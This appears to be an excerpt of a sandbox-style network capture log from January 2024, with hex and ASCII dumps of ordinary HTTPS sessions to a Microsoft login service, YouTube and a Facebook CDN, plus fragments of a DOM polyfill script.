2024-01-17 23:34:53 UTC	1252	IN	Data Raw: 63 65 3b 77 2e 70 61 3d 22 6f 6e 2d 64 65 6d 61 6e 64 22 3d 3d 3d 77 2e 6e 6f 50 61 74 63 68 3b 76 61 72 20 66 61 3b 76 61 72 20 68 61 3d 77 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 49 6d 70 6c 65 6d 65 6e 74 61 74 69 6f 6e 3b 66 61 3d 2d 31 3c 5b 22 6e 61 74 69 76 65 22 2c 22 73 65 6c 65 63 74 6f 72 45 6e 67 69 6e 65 22 5d 2e 69 6e 64 65 78 4f 66 28 68 61 29 3f 68 61 3a 76 6f 69 64 20 30 3b 77 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 49 6d 70 6c 65 6d 65 6e 74 61 74 69 6f 6e 3d 66 61 3b 76 61 72 20 6a 61 3d 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2e 6d 61 74 63 68 28 22 54 72 69 64 65 6e 74 22 29 3b 77 2e 50 61 3d 6a 61 3b 0a 66 75 6e 63 74 69 6f 6e 20 6b 61 28 29 7b 72 65 74 75 72 6e 20 44 6f 63 75 6d 65 6e 74 2e 70 72 6f 74 6f 74 79 Data Ascii: ce;w.pa="on-demand"===w.noPatch;var fa;var ha=w.querySelectorImplementation;fa=-1<["native","selectoruser"].indexOf(ha)?ha:void 0;w.querySelectorImplementation=fa;var ja=navigator.userAgent.match("Trident");w.Pa=ja;function ka(){return Document.prototy
2024-01-17 23:34:53 UTC	1252	IN	Data Raw: 65 5d 7d 3b 61 2e 6e 61 6d 65 64 49 74 65 6d 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 22 6c 65 6e 67 74 68 22 21 3d 3d 65 26 26 69 73 4e 61 4e 28 65 29 26 26 61 5b 65 5d 29 72 65 74 75 72 6e 20 61 5b 65 5d 3b 66 6f 72 28 76 61 72 20 66 3d 70 28 61 29 2c 67 3d 66 2e 6e 65 78 74 28 29 3b 21 67 2e 64 6f 6e 65 3b 67 3d 66 2e 6e 65 78 74 28 29 29 69 66 28 67 3d 67 2e 76 61 6c 75 65 2c 28 67 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 7c 7c 67 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 6e 61 6d 65 22 29 29 3d 3d 65 29 72 65 74 75 72 6e 20 67 3b 72 65 74 75 72 6e 20 6e 75 6c 6c 7d 3b 72 65 74 75 72 6e 20 61 7d 66 75 6e 63 74 69 6f 6e 20 75 61 28 61 29 7b 76 61 72 20 62 3d 5b 5d 3b 66 6f 72 28 61 3d 61 2e 5f 5f 73 68 61 64 79 5f 6e 61 74 69 Data Ascii: e]};a.namedItem=function(e){if("length"!==e&&isNaN(e)&&a[e])return a[e];for(var f=p(a),g=f.next();!g.done;g=f.next())if(g=g.value,(g.getAttribute("id")\|\|g.getAttribute("name"))==e)return g;return null};return a}function ua(a){var b=[];for(a=a.__shady_nati
2024-01-17 23:34:53 UTC	1252	IN	Data Raw: 75 73 68 2e 61 70 70 6c 79 28 63 2c 71 28 64 29 29 3a 63 2e 70 75 73 68 28 64 29 3b 72 65 74 75 72 6e 20 63 7d 2c 5b 5d 29 3b 72 65 74 75 72 6e 20 61 7d 66 75 6e 63 74 69 6f 6e 20 42 61 28 61 29 7b 76 61 72 20 62 3d 5b 5d 2c 63 3d 6e 65 77 20 53 65 74 3b 61 3d 70 28 61 29 3b 66 6f 72 28 76 61 72 20 64 3d 61 2e 6e 65 78 74 28 29 3b 21 64 2e 64 6f 6e 65 3b 64 3d 61 2e 6e 65 78 74 28 29 29 64 3d 64 2e 76 61 6c 75 65 2c 63 2e 68 61 73 28 64 29 7c 7c 28 62 2e 70 75 73 68 28 64 29 2c 63 2e 61 64 64 28 64 29 29 3b 72 65 74 75 72 6e 20 62 7d 3b 76 61 72 20 43 61 3d 5b 5d 2c 44 61 3b 66 75 6e 63 74 69 6f 6e 20 45 61 28 61 29 7b 44 61 7c 7c 28 44 61 3d 21 30 2c 71 61 28 46 61 29 29 3b 43 61 2e 70 75 73 68 28 61 29 7d 66 75 6e 63 74 69 6f 6e 20 46 61 28 29 7b 44 61 Data Ascii: ush.apply(c,q(d)):c.push(d);return c},[]);return a}function Ba(a){var b=[],c=new Set;a=p(a);for(var d=a.next();!d.done;d=a.next())d=d.value,c.has(d)\|\|(b.push(d),c.add(d));return b};var Ca=[],Da;function Ea(a){Da\|\|(Da=!0,qa(Fa));Ca.push(a)}function Fa(){Da
2024-01-17 23:34:53 UTC	1252	IN	Data Raw: 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 64 2c 22 61 64 64 65 64 4e 6f 64 65 73 22 2c 7b 76 61 6c 75 65 3a 65 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 29 2c 64 7d 65 6c 73 65 20 69 66 28 65 29 72 65 74 75 72 6e 20 64 7d 29 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 64 29 7b 72 65 74 75 72 6e 20 64 7d 29 7d 3b 76 61 72 20 4c 61 3d 2f 5b 26 5c 75 30 30 41 30 22 5d 2f 67 2c 4d 61 3d 2f 5b 26 5c 75 30 30 41 30 3c 3e 5d 2f 67 3b 66 75 6e 63 74 69 6f 6e 20 4e 61 28 61 29 7b 73 77 69 74 63 68 28 61 29 7b 63 61 73 65 20 22 26 22 3a 72 65 74 75 72 6e 22 26 61 6d 70 3b 22 3b 63 61 73 65 20 22 3c 22 3a 72 65 74 75 72 6e 22 26 6c 74 3b 22 3b 63 61 73 65 20 22 3e 22 3a 72 65 74 75 72 6e 22 26 67 74 3b 22 3b 63 61 73 65 Data Ascii: ),Object.defineProperty(d,"addedNodes",{value:e,configurable:!0}),d}else if(e)return d}).filter(function(d){return d})};var La=/[&\u00A0"]/g,Ma=/[&\u00A0<>]/g;function Na(a){switch(a){case "&":return"&";case "<":return"<";case ">":return">";case
2024-01-17 23:34:53 UTC	1252	IN	Data Raw: 65 74 75 72 6e 20 74 68 69 73 2e 5f 5f 73 68 61 64 79 5f 6e 61 74 69 76 65 5f 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 61 29 7d 7d 2c 55 61 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 56 61 28 61 29 7b 55 61 5b 61 5d 3d 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 20 62 5b 22 5f 5f 73 68 61 64 79 5f 6e 61 74 69 76 65 5f 22 2b 61 5d 7d 7d 66 75 6e 63 74 69 6f 6e 20 57 61 28 61 2c 62 29 7b 42 28 61 2c 62 2c 22 5f 5f 73 68 61 64 79 5f 6e 61 74 69 76 65 5f 22 29 3b 66 6f 72 28 76 61 72 20 63 20 69 6e 20 62 29 56 61 28 63 29 7d 66 75 6e 63 74 69 6f 6e 20 45 28 61 2c 62 29 7b 62 3d 76 6f 69 64 20 30 3d 3d 3d 62 3f 5b 5d 3a 62 3b 66 6f 72 28 76 61 72 20 63 3d 30 3b 63 3c 62 2e 6c 65 6e 67 74 68 3b 63 2b 2b 29 7b 76 61 72 20 64 3d 62 5b 63 5d 2c 65 Data Ascii: eturn this.__shady_native_querySelectorAll(a)}},Ua={};function Va(a){Ua[a]=function(b){return b["__shady_native_"+a]}}function Wa(a,b){B(a,b,"__shady_native_");for(var c in b)Va(c)}function E(a,b){b=void 0===b?[]:b;for(var c=0;c<b.length;c++){var d=b[c],e
2024-01-17 23:34:53 UTC	1252	IN	Data Raw: 7b 70 61 72 65 6e 74 4e 6f 64 65 3a 7b 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 46 2e 63 75 72 72 65 6e 74 4e 6f 64 65 3d 74 68 69 73 3b 72 65 74 75 72 6e 20 46 2e 70 61 72 65 6e 74 4e 6f 64 65 28 29 7d 7d 2c 66 69 72 73 74 43 68 69 6c 64 3a 7b 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 46 2e 63 75 72 72 65 6e 74 4e 6f 64 65 3d 0a 74 68 69 73 3b 72 65 74 75 72 6e 20 46 2e 66 69 72 73 74 43 68 69 6c 64 28 29 7d 7d 2c 6c 61 73 74 43 68 69 6c 64 3a 7b 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 46 2e 63 75 72 72 65 6e 74 4e 6f 64 65 3d 74 68 69 73 3b 72 65 74 75 72 6e 20 46 2e 6c 61 73 74 43 68 69 6c 64 28 29 7d 7d 2c 70 72 65 76 69 6f 75 73 53 69 62 6c 69 6e 67 3a 7b 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 46 2e 63 75 72 72 65 6e 74 4e 6f 64 65 Data Ascii: {parentNode:{get:function(){F.currentNode=this;return F.parentNode()}},firstChild:{get:function(){F.currentNode=this;return F.firstChild()}},lastChild:{get:function(){F.currentNode=this;return F.lastChild()}},previousSibling:{get:function(){F.currentNode
2024-01-17 23:34:53 UTC	1252	IN	Data Raw: 2c 22 63 6f 6e 74 61 69 6e 73 22 5d 29 3b 61 3d 7b 66 69 72 73 74 45 6c 65 6d 65 6e 74 43 68 69 6c 64 3a 7b 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 47 2e 63 75 72 72 65 6e 74 4e 6f 64 65 3d 74 68 69 73 3b 72 65 74 75 72 6e 20 47 2e 66 69 72 73 74 43 68 69 6c 64 28 29 7d 7d 2c 6c 61 73 74 45 6c 65 6d 65 6e 74 43 68 69 6c 64 3a 7b 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 47 2e 63 75 72 72 65 6e 74 4e 6f 64 65 3d 74 68 69 73 3b 72 65 74 75 72 6e 20 47 2e 6c 61 73 74 43 68 69 6c 64 28 29 7d 7d 2c 63 68 69 6c 64 72 65 6e 3a 7b 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 62 3d 5b 5d 3b 47 2e 63 75 72 72 65 6e 74 4e 6f 64 65 3d 74 68 69 73 3b 66 6f 72 28 76 61 72 20 63 3d 47 2e 66 69 72 73 74 43 68 69 6c 64 28 29 3b 63 3b 29 62 2e 70 75 73 Data Ascii: ,"contains"]);a={firstElementChild:{get:function(){G.currentNode=this;return G.firstChild()}},lastElementChild:{get:function(){G.currentNode=this;return G.lastChild()}},children:{get:function(){var b=[];G.currentNode=this;for(var c=G.firstChild();c;)b.pus
2024-01-17 23:34:53 UTC	1252	IN	Data Raw: 74 68 69 73 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 63 6c 61 73 73 22 2c 62 29 7d 7d 7d 29 29 3b 45 28 45 6c 65 6d 65 6e 74 2e 70 72 6f 74 6f 74 79 70 65 2c 22 73 65 74 41 74 74 72 69 62 75 74 65 20 67 65 74 41 74 74 72 69 62 75 74 65 20 68 61 73 41 74 74 72 69 62 75 74 65 20 72 65 6d 6f 76 65 41 74 74 72 69 62 75 74 65 20 74 6f 67 67 6c 65 41 74 74 72 69 62 75 74 65 20 66 6f 63 75 73 20 62 6c 75 72 22 2e 73 70 6c 69 74 28 22 20 22 29 29 3b 45 28 45 6c 65 6d 65 6e 74 2e 70 72 6f 74 6f 74 79 70 65 2c 24 61 29 3b 45 28 48 54 4d 4c 45 6c 65 6d 65 6e 74 2e 70 72 6f 74 6f 74 79 70 65 2c 5b 22 66 6f 63 75 73 22 2c 22 62 6c 75 72 22 5d 29 3b 77 69 6e 64 6f 77 2e 48 54 4d 4c 54 65 6d 70 6c 61 74 65 45 6c 65 6d 65 6e 74 26 26 0a 45 28 77 69 6e 64 6f 77 2e 48 Data Ascii: this.setAttribute("class",b)}}}));E(Element.prototype,"setAttribute getAttribute hasAttribute removeAttribute toggleAttribute focus blur".split(" "));E(Element.prototype,$a);E(HTMLElement.prototype,["focus","blur"]);window.HTMLTemplateElement&&E(window.H

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.6	49798	40.126.24.84	443

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:34:53 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4751 Host: login.live.com
2024-01-17 23:34:53 UTC	4751	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-01-17 23:34:53 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 17 Jan 2024 23:33:53 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C107_BL2 x-ms-request-id: d7c40257-377d-4b14-80ec-6cec7f50aa33 PPServer: PPV: 30 H: BL6PPF8F0C68590 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 17 Jan 2024 23:34:53 GMT Connection: close Content-Length: 11369
2024-01-17 23:34:53 UTC	11369	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.6	49799	142.251.40.110	443	8060	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:34:53 UTC	612	OUT	GET / HTTP/1.1 Host: youtube.com Connection: keep-alive Pragma: no-cache Cache-Control: no-cache sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.youtube.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.youtube.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-01-17 23:34:54 UTC	1435	IN	HTTP/1.1 301 Moved Permanently Content-Type: application/binary X-Content-Type-Options: nosniff Expires: Wed, 17 Jan 2024 23:34:54 GMT Date: Wed, 17 Jan 2024 23:34:54 GMT Cache-Control: private, max-age=31536000 Location: https://www.youtube.com/ X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factor=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="youtube_main" Access-Control-Allow-Origin: https://www.youtube.com Access-Control-Allow-Credentials: true Origin-Trial: AvC9UlR6RDk2crliDsFl66RWLnTbHrDbp+DiY6AYz/PNQ4G4tdUTjrHYr2sghbkhGQAVxb7jaPTHpEVBz0uzQwkAAAB4eyJvcmlnaW4iOiJodHRwczovL3lvdXR1YmUuY29tOjQ0MyIsImZlYXR1cmUiOiJXZWJWaWV3WFJlcXVlc3RlZFdpdGhEZXByZWNhdGlvbiIsImV4cGlyeSI6MTcxOTUzMjc5OSwiaXNTdWJkb21haW4iOnRydWV9 Report-To: {"group":"youtube_main","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/youtube_main"}]} Server: ESF Content-Length: 0 X-XSS-Protection: 0 Set-Cookie: CONSENT=PENDING+035; expires=Fri, 16-Jan-2026 23:34:54 GMT; path=/; domain=.youtube.com; Secure P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.6	49801	40.126.24.84	443

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:34:54 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4751 Host: login.live.com
2024-01-17 23:34:54 UTC	4751	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-01-17 23:34:54 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 17 Jan 2024 23:33:54 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C107_BL2 x-ms-request-id: 1af77f9e-7433-4576-aa4a-b1f8afe543ae PPServer: PPV: 30 H: BL02EPF0000675B V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 17 Jan 2024 23:34:53 GMT Connection: close Content-Length: 11369
2024-01-17 23:34:54 UTC	11369	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.6	49804	157.240.241.1	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:34:54 UTC	622	OUT	GET /rsrc.php/v3/y1/l/0,cross/ZMAH_LE0voZ.css?_nc_x=Ij3Wp8lg5Kz HTTP/1.1 Host: static.xx.fbcdn.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.facebook.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: style Referer: https://www.facebook.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-17 23:34:54 UTC	1214	IN	HTTP/1.1 200 OK Content-Type: text/css; charset=utf-8 Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT content-md5: Y5zaEiPe2RH57V0y98i9Zw== Expires: Thu, 16 Jan 2025 19:41:26 GMT Cache-Control: public,max-age=31536000,immutable timing-allow-origin: * document-policy: force-load-at-top permissions-policy-report-only: autoplay=(), clipboard-read=(), clipboard-write=(), display-capture=(), encrypted-media=(), fullscreen=(), picture-in-picture=(), xr-spatial-tracking=() permissions-policy: accelerometer=(), ambient-light-sensor=(), bluetooth=(), camera=(), gamepad=(), geolocation=(), gyroscope=(), hid=(), idle-detection=(), keyboard-map=(), local-fonts=(), magnetometer=(), microphone=(), midi=(), otp-credentials=(), payment=(), publickey-credentials-get=(), screen-wake-lock=(), serial=(), usb=(), window-management=() cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff reporting-endpoints: X-FB-Debug: UufwN2VwpH6JREDfoNNWosdkk1bKbdFt8vpVmBETLC7loGmC1ZSW0k798x6G9UIccZ8sVWHMcmBdBrmYB3pStw== Date: Wed, 17 Jan 2024 23:34:54 GMT Access-Control-Allow-Origin: https://www.facebook.com Vary: Origin Alt-Svc: h3=":443"; ma=86400 Connection: close Content-Length: 34556
2024-01-17 23:34:54 UTC	1	IN	Data Raw: 2e Data Ascii: .
2024-01-17 23:34:54 UTC	1500	IN	Data Raw: 5f 34 2d 64 6f 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 2e 5f 34 2d 64 70 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 34 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 38 70 78 3b 6d 61 72 67 69 6e 3a 34 30 70 78 20 30 20 32 30 70 78 7d 2e 5f 34 2d 64 71 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 38 70 78 3b 6d 61 72 67 69 6e 3a 32 30 70 78 20 30 7d 2e 5f 34 2d 64 72 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 30 70 78 7d 0a 2e 5f 35 31 75 36 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 2d 34 70 78 7d 2e 5f 34 31 75 66 2c 2e 5f 34 31 75 67 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 31 34 70 78 3b Data Ascii: _4-do{text-align:center}._4-dp{font-size:24px;line-height:28px;margin:40px 0 20px}._4-dq{font-size:16px;line-height:28px;margin:20px 0}._4-dr{font-size:12px;line-height:20px}._51u6{margin-bottom:-4px}._41uf,._41ug{display:inline-block;padding-right:14px;
2024-01-17 23:34:54 UTC	14980	IN	Data Raw: 6e 74 2d 66 61 6d 69 6c 79 3a 4d 65 6e 6c 6f 2c 20 43 6f 6e 73 6f 6c 61 73 2c 20 4d 6f 6e 61 63 6f 2c 20 6d 6f 6e 6f 73 70 61 63 65 7d 23 66 61 63 65 62 6f 6f 6b 20 2e 5f 2d 6b 62 20 2e 66 69 78 65 6d 6f 6a 69 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 36 30 30 7d 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 46 69 78 20 66 6f 72 20 4d 61 63 20 43 68 72 6f 6d 65 20 38 30 27 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 35 30 30 3b 73 72 63 3a 6c 6f 63 61 6c 28 27 4c 75 63 69 64 61 20 47 72 61 6e 64 65 27 29 3b 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 55 2b 35 33 30 2d 35 66 34 2c 20 55 2b 31 30 61 30 2d 31 30 66 66 7d 23 66 61 63 65 62 6f 6f 6b 20 2e 5f 2d 6b 62 2e 5f 39 33 62 6e 2e 73 66 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 46 69 78 Data Ascii: nt-family:Menlo, Consolas, Monaco, monospace}#facebook ._-kb .fixemoji{font-weight:600}@font-face{font-family:'Fix for Mac Chrome 80';font-weight:500;src:local('Lucida Grande');unicode-range:U+530-5f4, U+10a0-10ff}#facebook ._-kb._93bn.sf{font-family:'Fix
